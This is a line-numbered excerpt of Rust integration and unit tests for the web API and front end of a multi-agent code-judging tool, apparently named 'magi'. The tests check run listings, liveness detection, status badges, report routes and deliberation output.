14976 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
14977 assert_eq!(stats.status, 200);
14978 assert_eq!(stats.json()["totals"]["runs"], 1);
14979 assert_eq!(stats.json()["totals"]["merged"], 1);
14980 assert_eq!(stats.json()["repo"], "/repos/a");
14981 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
14984 assert_eq!(stats.json()["runs_unreadable"], 0);
14987 }
14988
14989 #[tokio::test]
14990 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
14991 let f = Fixture::start().await;
14992 write_run_repo(
14993 &f.runs(),
14994 "20260902-140501-a",
14995 RunStatus::Merged,
14996 "/repos/a",
14997 );
14998 write_run_repo(
14999 &f.runs(),
15000 "20260902-140502-b",
15001 RunStatus::Merged,
15002 "/repos/b",
15003 );
15004
15005 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
15006 let json = f.get(uri).await.json();
15007 let daily = json["daily"].as_array().expect("daily is an array");
15008 assert_eq!(daily.len(), 30);
15009 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
15010 let mut sorted = dates.clone();
15011 sorted.sort();
15012 assert_eq!(dates, sorted);
15013 for d in daily {
15014 assert_eq!(
15015 d["merged"].as_u64().unwrap()
15016 + d["ready"].as_u64().unwrap()
15017 + d["other"].as_u64().unwrap(),
15018 d["runs"].as_u64().unwrap()
15019 );
15020 }
15021 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
15022 }
15023 }
15024
15025 #[tokio::test]
15026 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
15027 let f = Fixture::start().await;
15028 write_run_repo(
15029 &f.runs(),
15030 "20260902-140501-a",
15031 RunStatus::Merged,
15032 "/repos/a",
15033 );
15034
15035 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
15036 assert_eq!(stats.status, 404);
15037 }
15038
15039 #[tokio::test]
15040 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
15041 let f = Fixture::start().await;
15042 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
15043
15044 let summary = f.get("/api/runs").await.json();
15045 let row = &summary[0];
15046 assert_eq!(row["short"], "a1b2");
15047 assert_eq!(row["status"], "ready");
15048 assert_eq!(row["done"], true);
15049 assert_eq!(row["title"], "Add a web UI");
15050 assert_eq!(row["repo_name"], "magi");
15051 assert_eq!(row["judges"], 3);
15052 assert_eq!(row["winner"], Value::Null);
15053 assert_eq!(row["reviews"], 0);
15054
15055 let detail = f.get("/api/runs/a1b2").await;
15058 assert_eq!(detail.status, 200);
15059 assert_eq!(detail.json()["base_branch"], "main");
15060 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
15061 }
15062
15063 #[tokio::test]
15071 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
15072 let f = Fixture::start().await;
15073
15074 let mut none_run = RunState::new(
15075 PathBuf::from("/repo/magi"),
15076 "main".to_owned(),
15077 "0123456789abcdef".to_owned(),
15078 "Add a web UI".to_owned(),
15079 Config::default(),
15080 );
15081 none_run.id = "20260902-140503-none".to_owned();
15082 none_run.status = RunStatus::Ready;
15083 none_run.merge = Some(crate::run::MergeOutcome {
15084 mode: crate::config::MergeMode::None,
15085 ok: true,
15086 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
15087 empty: false,
15088 });
15089 write_state(&f.runs(), &none_run);
15090
15091 let mut pr_run = RunState::new(
15092 PathBuf::from("/repo/magi"),
15093 "main".to_owned(),
15094 "0123456789abcdef".to_owned(),
15095 "Add a web UI".to_owned(),
15096 Config::default(),
15097 );
15098 pr_run.id = "20260902-140504-prcl".to_owned();
15099 pr_run.status = RunStatus::Ready;
15100 pr_run.merge = Some(crate::run::MergeOutcome {
15101 mode: crate::config::MergeMode::Pr,
15102 ok: false,
15103 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
15104 empty: false,
15105 });
15106 write_state(&f.runs(), &pr_run);
15107
15108 let summary = f.get("/api/runs").await.json();
15109 let rows: std::collections::HashMap<&str, &Value> = summary
15110 .as_array()
15111 .expect("an array")
15112 .iter()
15113 .map(|r| (r["id"].as_str().expect("an id"), r))
15114 .collect();
15115 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
15116 assert_eq!(
15117 rows[none_run.id.as_str()]["unmerged_by_design"],
15118 true,
15119 "a mode-none Ready must be flagged in the list"
15120 );
15121 assert_eq!(
15122 rows[pr_run.id.as_str()]["unmerged_by_design"],
15123 false,
15124 "a Ready reached by a closed pull request is a different case"
15125 );
15126
15127 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
15128 assert_eq!(none_detail["status"], "ready");
15129 assert_eq!(none_detail["unmerged_by_design"], true);
15130
15131 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
15132 assert_eq!(pr_detail["unmerged_by_design"], false);
15133 }
15134
15135 #[tokio::test]
15140 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
15141 let f = Fixture::start().await;
15142 let id = "20260902-140502-bbbb";
15146 let mut state = RunState::new(
15147 PathBuf::from("/repo/magi"),
15148 "main".to_owned(),
15149 "0123456789abcdef".to_owned(),
15150 "Add a web UI".to_owned(),
15151 Config::default(),
15152 );
15153 state.id = id.to_owned();
15154 state.status = RunStatus::Judging;
15155 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
15156 let dir = f.runs().join(id);
15157 std::fs::create_dir_all(&dir).expect("run dir");
15158 std::fs::write(
15159 dir.join("run.json"),
15160 serde_json::to_string_pretty(&state).expect("serialize run"),
15161 )
15162 .expect("write run.json");
15163
15164 let cold = f.get(&format!("/api/runs/{id}")).await.json();
15170 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
15171 assert_eq!(cold["live"], "unknown", "{cold}");
15172
15173 write_daemon(f.home.path(), Timestamp::now());
15176 let warm = f.get(&format!("/api/runs/{id}")).await.json();
15177 assert_eq!(warm["live"], "live", "{warm}");
15178 }
15179
15180 #[tokio::test]
15183 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
15184 let f = Fixture::start().await;
15185 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
15186 let mut state = RunState::new(
15187 PathBuf::from("/repo/magi"),
15188 "main".to_owned(),
15189 "0123456789abcdef".to_owned(),
15190 "Add a web UI".to_owned(),
15191 Config::default(),
15192 );
15193 state.id = id.to_owned();
15194 state.origin = origin;
15195 let mut value = serde_json::to_value(&state).expect("serialize run");
15196 if let Some(schema) = schema {
15197 value["schema"] = serde_json::json!(schema);
15198 value.as_object_mut().unwrap().remove("origin");
15199 }
15200 let dir = f.runs().join(id);
15201 std::fs::create_dir_all(&dir).expect("run dir");
15202 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
15203 };
15204 write(
15205 "20260930-092817-ec34",
15206 Some(crate::run::Origin::from_agent_env(
15207 Some(("4a7b".to_owned(), "chat".to_owned())),
15208 None,
15209 )),
15210 None,
15211 );
15212 write("20260930-092817-0ld1", None, Some(12));
15213
15214 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
15215 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
15216 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
15217
15218 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
15219 assert_eq!(
15220 old["origin_label"], "origin unknown (started before origins were recorded)",
15221 "{old}"
15222 );
15223 assert!(old["origin"].is_null(), "{old}");
15224
15225 let list = f.get("/api/runs").await.json();
15226 let labels: Vec<_> = list
15227 .as_array()
15228 .unwrap()
15229 .iter()
15230 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
15231 .collect();
15232 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
15233 }
15234
15235 #[tokio::test]
15242 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
15243 let f = Fixture::start().await;
15244 let id = "20260922-090000-cccc";
15245 let mut state = RunState::new(
15246 PathBuf::from("/repo/magi"),
15247 "main".to_owned(),
15248 "0123456789abcdef".to_owned(),
15249 "Review only".to_owned(),
15250 Config::default(),
15251 );
15252 state.id = id.to_owned();
15253 state.status = RunStatus::Reviewing;
15254 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15255 state.driver_pid = Some(std::process::id());
15261 state.driver_started_at = Some(
15262 crate::proc::process_started_at(std::process::id())
15263 .expect("this test process's own start time must be queryable"),
15264 );
15265 let dir = f.runs().join(id);
15266 std::fs::create_dir_all(&dir).expect("run dir");
15267 std::fs::write(
15268 dir.join("run.json"),
15269 serde_json::to_string_pretty(&state).expect("serialize run"),
15270 )
15271 .expect("write run.json");
15272
15273 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15274 assert_eq!(detail["live"], "live", "{detail}");
15275 }
15276
15277 #[tokio::test]
15283 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
15284 let f = Fixture::start().await;
15285 let id = "20260922-090100-dddd";
15286 let mut state = RunState::new(
15287 PathBuf::from("/repo/magi"),
15288 "main".to_owned(),
15289 "0123456789abcdef".to_owned(),
15290 "Review only".to_owned(),
15291 Config::default(),
15292 );
15293 state.id = id.to_owned();
15294 state.status = RunStatus::Reviewing;
15295 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15296 state.driver_pid = Some(std::process::id());
15301 state.driver_started_at = Some("1".to_owned());
15302 let dir = f.runs().join(id);
15303 std::fs::create_dir_all(&dir).expect("run dir");
15304 std::fs::write(
15305 dir.join("run.json"),
15306 serde_json::to_string_pretty(&state).expect("serialize run"),
15307 )
15308 .expect("write run.json");
15309
15310 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15311 assert_eq!(detail["live"], "dead", "{detail}");
15312 }
15313
15314 #[test]
15318 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
15319 let mk = |id: &str, pid: Option<u32>| {
15320 let mut s = RunState::new(
15321 PathBuf::from("/repo/magi"),
15322 "main".to_owned(),
15323 "0123456789abcdef".to_owned(),
15324 "Add a web UI".to_owned(),
15325 Config::default(),
15326 );
15327 s.id = id.to_owned();
15328 s.driver_pid = pid;
15329 s.driver_started_at = Some("1790000000".to_owned());
15330 s
15331 };
15332 let states = vec![
15333 mk("20260902-140502-aaaa", Some(77)),
15334 mk("20260902-140502-bbbb", Some(77)),
15335 mk("20260902-140502-cccc", Some(77)),
15336 mk("20260902-140502-dddd", None),
15337 ];
15338 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
15339 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
15340 let sup: HashMap<String, String> = [(
15341 "20260902-140502-aaaa".to_owned(),
15342 "20260902-140502-cccc".to_owned(),
15343 )]
15344 .into();
15345
15346 let status_calls = std::cell::Cell::new(0);
15347 let identity_calls = std::cell::Cell::new(0);
15348 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
15349 |_| {
15350 status_calls.set(status_calls.get() + 1);
15351 Some(true)
15352 },
15353 |_| {
15354 identity_calls.set(identity_calls.get() + 1);
15355 Some("1790000000".to_owned())
15356 },
15357 ));
15358 let rows = summarize(
15359 states,
15360 &open,
15361 &claimed,
15362 &sup,
15363 |p| probe.borrow_mut().status(p),
15364 |p| probe.borrow_mut().started_at(p),
15365 );
15366
15367 assert_eq!(status_calls.get(), 1, "one pid, one status query");
15368 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
15369 assert_eq!(rows.len(), 4);
15370 assert!(!rows[0].waiting && rows[1].waiting);
15371 assert_eq!(rows[0].live, crate::run::Liveness::Live);
15372 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
15373 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
15374 assert_eq!(rows[1].superseded_by, None);
15375 }
15376
15377 #[test]
15378 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
15379 let mut state = RunState::new(
15380 PathBuf::from("/repo/magi"),
15381 "main".to_owned(),
15382 "0123456789abcdef".to_owned(),
15383 "Review only".to_owned(),
15384 Config::default(),
15385 );
15386 state.id = "20260922-090200-dead".to_owned();
15387 state.status = RunStatus::Reviewing;
15388 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
15389 .expect("serialize list row");
15390 assert_eq!(row["status"], "reviewing");
15391 assert_eq!(row["display_status"], "stale");
15392 assert_eq!(row["live"], "dead", "{row}");
15393 assert!(!row["done"].as_bool().unwrap());
15394 }
15395
15396 #[test]
15397 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
15398 use crate::run::Liveness::{Dead, Live, Unknown};
15399 let mut state = RunState::new(
15400 PathBuf::from("/repo/magi"),
15401 "main".to_owned(),
15402 "abc".to_owned(),
15403 "Review only".to_owned(),
15404 Config::default(),
15405 );
15406 for (status, parked, node, waiting, live, expected) in [
15407 (
15408 RunStatus::Judging,
15409 true,
15410 "github-text",
15411 false,
15412 Dead,
15413 "parked",
15414 ),
15415 (RunStatus::Judging, false, "park", false, Dead, "stale"),
15416 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
15417 (
15418 RunStatus::Judging,
15419 true,
15420 "github-text",
15421 true,
15422 Dead,
15423 "waiting",
15424 ),
15425 (
15426 RunStatus::Judging,
15427 false,
15428 "github-text",
15429 true,
15430 Dead,
15431 "waiting",
15432 ),
15433 (
15434 RunStatus::Judging,
15435 false,
15436 "github-text",
15437 false,
15438 Dead,
15439 "stale",
15440 ),
15441 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
15442 (RunStatus::Judging, true, "park", false, Live, "judging"),
15443 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
15444 (RunStatus::Merged, true, "park", false, Dead, "merged"),
15445 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
15446 (
15447 RunStatus::Blocked,
15448 true,
15449 "github-text",
15450 true,
15451 Dead,
15452 "waiting",
15453 ),
15454 ] {
15455 state.status = status;
15456 state.parked = parked;
15457 state.events.clear();
15458 state.event(
15459 "park",
15460 "an earlier park does not determine the latest state",
15461 );
15462 state.event(node, "message is not used for classification");
15463 let summary = RunSummary::of(&state, waiting, live);
15464 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
15465 assert_eq!(
15466 summary.display_status, expected,
15467 "{status:?}/{node}/{live:?}"
15468 );
15469 assert_eq!(detail.display_status, summary.display_status);
15470 assert_eq!(detail.waiting, summary.waiting);
15471 }
15472 state.status = RunStatus::Judging;
15473 state.parked = false;
15474 state.events.clear();
15475 assert_eq!(run_display_status(&state, false, Dead), "stale");
15476 }
15477
15478 #[test]
15479 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
15480 use crate::run::Liveness::{Dead, Live, Unknown};
15481 let mut state = RunState::new(
15482 PathBuf::from("/repo/magi"),
15483 "main".to_owned(),
15484 "abc".to_owned(),
15485 "Badge".to_owned(),
15486 Config::default(),
15487 );
15488 for (status, waiting, live, superseded, expected) in [
15489 (RunStatus::Gating, false, Dead, false, "stale"),
15490 (RunStatus::Gating, false, Dead, true, "superseded"),
15491 (RunStatus::Gating, false, Unknown, true, "superseded"),
15492 (RunStatus::Gating, true, Dead, true, "superseded"),
15493 (RunStatus::Gating, true, Dead, false, "waiting"),
15494 (RunStatus::Gating, false, Unknown, false, "gating"),
15495 (RunStatus::Gating, false, Live, true, "gating"),
15496 (RunStatus::Gating, true, Live, true, "waiting"),
15497 (RunStatus::Merged, false, Dead, true, "merged"),
15498 (RunStatus::Blocked, false, Dead, true, "blocked"),
15499 ] {
15500 state.status = status;
15501 let display = run_display_status(&state, waiting, live);
15502 assert_eq!(
15503 run_badge_status(&state, &display, live, superseded),
15504 expected,
15505 "{status:?}/{live:?}/superseded={superseded}"
15506 );
15507 }
15508 }
15509
15510 #[test]
15511 fn summarize_and_detail_expose_badge_status() {
15512 use crate::run::Liveness::Dead;
15513 let mut state = RunState::new(
15514 PathBuf::from("/repo/magi"),
15515 "main".to_owned(),
15516 "abc".to_owned(),
15517 "Badge".to_owned(),
15518 Config::default(),
15519 );
15520 state.status = RunStatus::Gating;
15521 let none = HashSet::new();
15522 let id = state.id.clone();
15523 let mut by = HashMap::new();
15524 let rows = summarize(
15525 [state.clone()],
15526 &none,
15527 &none,
15528 &by,
15529 |_| Some(false),
15530 |_| None,
15531 );
15532 assert_eq!(rows[0].badge_status, rows[0].display_status);
15534 by.insert(id, "20260901-000000-913b".to_owned());
15535 let detail = RunDetailView::of(
15536 state.clone(),
15537 false,
15538 Dead,
15539 Some("913b".to_owned()),
15540 None,
15541 None,
15542 );
15543 assert_eq!(detail.badge_status, "superseded");
15544 let json = serde_json::to_value(&detail).unwrap();
15545 assert_eq!(json["badge_status"], "superseded");
15546 let detail = RunDetailView::of(state, false, Dead, None, None, None);
15547 assert_eq!(detail.badge_status, "stale");
15548 }
15549
15550 #[tokio::test]
15551 async fn run_display_status_routes_share_the_open_question_store() {
15552 let f = Fixture::start().await;
15553 let id = "20260922-090200-abcd";
15554 write_run(&f.runs(), id, RunStatus::Judging);
15555 let mut state = read_run(&f.runs(), id).unwrap();
15556 state.parked = true;
15557 state.driver_exited = true;
15558 state.event("github-text", "waiting for the owner");
15559 state.save_under(f.home.path()).unwrap();
15560 let mut task = Task::new(
15561 "resumed task".to_owned(),
15562 "do it".to_owned(),
15563 PathBuf::from("/repo"),
15564 Source::Human,
15565 );
15566 task.runs = vec![id.to_owned(), id.to_owned()];
15567 f.queue().put(&mut task).unwrap();
15568 let store = f.questions();
15569 let mut q = Question::new(
15570 id.to_owned(),
15571 "github-text".to_owned(),
15572 "owner".to_owned(),
15573 "Approve the text?".to_owned(),
15574 String::new(),
15575 Vec::new(),
15576 );
15577 store.put(&mut q).unwrap();
15578 for expected in ["waiting", "parked"] {
15579 let list = f.get("/api/runs").await.json();
15580 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15581 assert_eq!(list[0]["display_status"], expected);
15582 assert_eq!(detail["display_status"], expected);
15583 assert_eq!(detail["waiting"], list[0]["waiting"]);
15584 assert_eq!(list[0]["badge_status"], expected);
15585 assert_eq!(detail["badge_status"], expected);
15586 assert!(list[0]["superseded_by"].is_null());
15587 assert!(detail["superseded_by"].is_null());
15588 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
15589 let history = task_detail["history"].as_array().unwrap();
15590 assert_eq!(history.len(), 2);
15591 assert!(history[0]["badge"].is_null());
15592 assert_eq!(history[1]["badge"], expected);
15593 q.status = ask::QuestionStatus::Answered;
15594 store.put(&mut q).unwrap();
15595 }
15596 }
15597
15598 #[tokio::test]
15599 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
15600 let f = Fixture::start().await;
15601 let id = "20260922-090200-abcd";
15602 write_run(&f.runs(), id, RunStatus::Judging);
15603 let mut state = read_run(&f.runs(), id).unwrap();
15604 state.parked = true;
15605 state.driver_exited = true;
15606 state.event("park", "stopped at a node boundary");
15607 state.save_under(f.home.path()).unwrap();
15608
15609 for expected in ["parked", "stale"] {
15610 let list = f.get("/api/runs").await.json();
15611 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15612 assert_eq!(list[0]["live"], "dead");
15613 assert_eq!(list[0]["display_status"], expected);
15614 assert_eq!(detail["display_status"], expected);
15615 state.parked = false;
15618 state.save_under(f.home.path()).unwrap();
15619 }
15620 }
15621
15622 #[tokio::test]
15623 async fn the_run_list_is_newest_first_and_honours_a_limit() {
15624 let f = Fixture::start().await;
15625 for id in [
15626 "20260902-140501-aaaa",
15627 "20260902-140502-bbbb",
15628 "20260902-140503-cccc",
15629 ] {
15630 write_run(&f.runs(), id, RunStatus::Merged);
15631 }
15632
15633 let all = f.get("/api/runs").await.json();
15634 let capped = f.get("/api/runs?limit=2").await.json();
15635
15636 assert_eq!(all[0]["id"], "20260902-140503-cccc");
15637 assert_eq!(all.as_array().map(Vec::len), Some(3));
15638 assert_eq!(capped.as_array().map(Vec::len), Some(2));
15639 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
15640 }
15641
15642 #[tokio::test]
15643 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
15644 let f = Fixture::start().await;
15645 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
15646
15647 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
15648
15649 assert_eq!(res.status, 200);
15650 assert!(
15651 res.headers
15652 .contains("content-type: text/plain; charset=utf-8"),
15653 "a browser must render it, not download it: {}",
15654 res.headers
15655 );
15656 assert!(
15660 res.body.contains("20260902-140501-a1b2"),
15661 "the report is about the run that was asked for: {}",
15662 res.body
15663 );
15664 }
15665
15666 #[tokio::test]
15667 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
15668 crate::run::pin_test_home();
15670 let f = Fixture::start().await;
15671 let id = "20260902-140501-a1b2";
15672 write_run(&f.runs(), id, RunStatus::Stalled);
15673 let path = f.runs().join(id).join("run.json");
15676 let mut v: serde_json::Value =
15677 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15678 v["tally"] = serde_json::json!({
15679 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
15680 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
15681 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
15682 "met_quorum": false, "rankings": 1
15683 });
15684 v["reviews"] = serde_json::json!([{
15685 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
15686 "e2e_deferred": true,
15687 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
15688 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
15689 ]}]
15690 }]);
15691 std::fs::write(&path, v.to_string()).unwrap();
15692 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
15693 std::fs::write(
15694 f.runs().join("20260902-140502-dead").join("run.json"),
15695 "{not json",
15696 )
15697 .unwrap();
15698
15699 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
15700
15701 assert_eq!(res.status, 200, "{}", res.body);
15702 assert!(res.headers.contains("content-type: application/json"));
15703 let j = res.json();
15704 assert_eq!(j["schema"], 1);
15705 assert_eq!(j["header"]["id"], id);
15706 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
15707 let kinds: Vec<&str> = j["sections"]
15708 .as_array()
15709 .unwrap()
15710 .iter()
15711 .map(|s| s["kind"].as_str().unwrap())
15712 .collect();
15713 assert_eq!(kinds, ["candidates", "tally", "review"]);
15714 let tally = &j["sections"][1]["tally"];
15715 assert_eq!(
15716 (tally["decided"].clone(), tally["provisional"].clone()),
15717 (false.into(), true.into())
15718 );
15719 let round = &j["sections"][2]["rounds"][0];
15720 assert_eq!(round["e2e"]["state"], "deferred");
15721 assert_eq!(round["findings"][0]["severity"], "major");
15722 assert_eq!(round["findings"][0]["blocking"], true);
15723 assert_eq!(round["findings"][0]["state"], "open");
15724
15725 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
15727
15728 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
15730 assert_ne!(bad.status, 200, "{}", bad.body);
15731 assert_eq!(
15732 bad.status,
15733 f.get("/api/runs/20260902-140502-dead/report").await.status
15734 );
15735 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
15736 assert_eq!(
15737 f.get("/api/runs/20260902-999999-ffff/report.json")
15738 .await
15739 .status,
15740 404
15741 );
15742 }
15743
15744 #[tokio::test]
15745 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
15746 crate::run::pin_test_home();
15747 let f = Fixture::start().await;
15748 let id = "20260902-140503-delib";
15749 write_run(&f.runs(), id, RunStatus::Merged);
15750 let path = f.runs().join(id).join("run.json");
15751 let mut v: serde_json::Value =
15752 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15753 v["judgements"] = serde_json::json!([
15754 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15755 ]);
15756 v["tally"] = serde_json::json!({
15757 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
15758 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
15759 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
15760 "met_quorum": true, "rankings": 1
15761 });
15762 v["deliberation"] = serde_json::json!([
15763 {
15764 "round": 1,
15765 "turns": [
15766 {
15767 "judge": 1,
15768 "agent": "judge-1",
15769 "body": "I prefer candidate **A** because it has cleaner tests.",
15770 "tentative": "A"
15771 }
15772 ]
15773 },
15774 {
15775 "round": 2,
15776 "turns": [
15777 {
15778 "judge": 1,
15779 "agent": "judge-1",
15780 "body": "Still thinking, no choice yet.",
15781 "tentative": null
15782 }
15783 ]
15784 }
15785 ]);
15786 std::fs::write(&path, v.to_string()).unwrap();
15787
15788 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
15789 assert_eq!(res.status, 200, "{}", res.body);
15790 let j = res.json();
15791 let judging = j["sections"]
15792 .as_array()
15793 .unwrap()
15794 .iter()
15795 .find(|s| s["kind"] == "judging")
15796 .expect("judging section exists");
15797
15798 let delib_lines = judging["deliberation"].as_array().unwrap();
15800 assert_eq!(delib_lines.len(), 2);
15801 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
15802 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
15803
15804 let rounds = judging["rounds"].as_array().unwrap();
15806 assert_eq!(rounds.len(), 2);
15807 let r1_t0 = &rounds[0]["turns"][0];
15808 assert_eq!(r1_t0["judge"], 1);
15809 assert_eq!(r1_t0["agent"], "judge-1");
15810 assert_eq!(r1_t0["tentative"], "A");
15811 assert_eq!(
15812 r1_t0["body"],
15813 "I prefer candidate **A** because it has cleaner tests."
15814 );
15815 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
15816
15817 let r2_t0 = &rounds[1]["turns"][0];
15818 assert_eq!(r2_t0["judge"], 1);
15819 assert_eq!(r2_t0["agent"], "judge-1");
15820 assert!(r2_t0["tentative"].is_null());
15821 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
15822 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
15823
15824 let id_empty = "20260902-140504-nodelib";
15826 write_run(&f.runs(), id_empty, RunStatus::Merged);
15827 let path_empty = f.runs().join(id_empty).join("run.json");
15828 let mut v_empty: serde_json::Value =
15829 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
15830 v_empty["judgements"] = serde_json::json!([
15831 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15832 ]);
15833 v_empty["deliberation"] = serde_json::json!([]);
15834 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
15835
15836 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
15837 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
15838 let j_empty = res_empty.json();
15839 let judging_empty = j_empty["sections"]
15840 .as_array()
15841 .unwrap()
15842 .iter()
15843 .find(|s| s["kind"] == "judging")
15844 .expect("judging section exists");
15845 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
15846 }
15847
15848 #[tokio::test]
15849 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
15850 let f = Fixture::start().await;
15851
15852 let html = f.get("/").await;
15853 let css = f.get("/app.css").await;
15854 let js = f.get("/app.js").await;
15855
15856 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
15857 assert!(
15858 html.headers
15859 .contains("content-type: text/html; charset=utf-8")
15860 );
15861 assert!(css.headers.contains("content-type: text/css"));
15862 assert!(js.headers.contains("content-type: text/javascript"));
15863 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
15864 }
15865
15866 #[test]
15867 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
15868 let body = |name: &str| {
15869 let at = APP_JS
15870 .find(name)
15871 .unwrap_or_else(|| panic!("{name} missing"));
15872 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15873 };
15874 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
15875 let note = body("function landRoundNote");
15876 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
15877 assert!(note.contains("Land round ${round}"));
15878 let land = body("function renderLand");
15879 let note_at = land
15880 .find("landRoundNote(pr)")
15881 .expect("renderLand uses the note");
15882 assert!(
15883 note_at
15884 < land
15885 .find("roundRail(pr)")
15886 .expect("renderLand uses the rail")
15887 );
15888 }
15889
15890 #[test]
15891 fn the_runs_page_redesign_keeps_its_guards() {
15892 let body = |name: &str| {
15893 let at = APP_JS
15894 .find(name)
15895 .unwrap_or_else(|| panic!("{name} missing"));
15896 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15897 };
15898 let land = body("function renderLand");
15900 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
15901 assert!(
15902 !land.contains("box.append("),
15903 "renderLand must use append()"
15904 );
15905 assert!(land.contains("append(box, ["));
15906 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
15908 assert!(
15909 body("function applyRoute")
15910 .contains("route.name !== state.route.name || route.id !== state.route.id")
15911 );
15912 assert!(!APP_JS.contains("adviseConvergeDiagram"));
15914 assert!(!INDEX_HTML.contains("advise-converge"));
15915 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
15916 assert!(APP_JS.contains("provisional"));
15917 for id in [
15918 "run-tab-overview",
15919 "run-tab-timeline",
15920 "run-tab-report",
15921 "run-report",
15922 "runs-scope",
15923 ] {
15924 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
15925 }
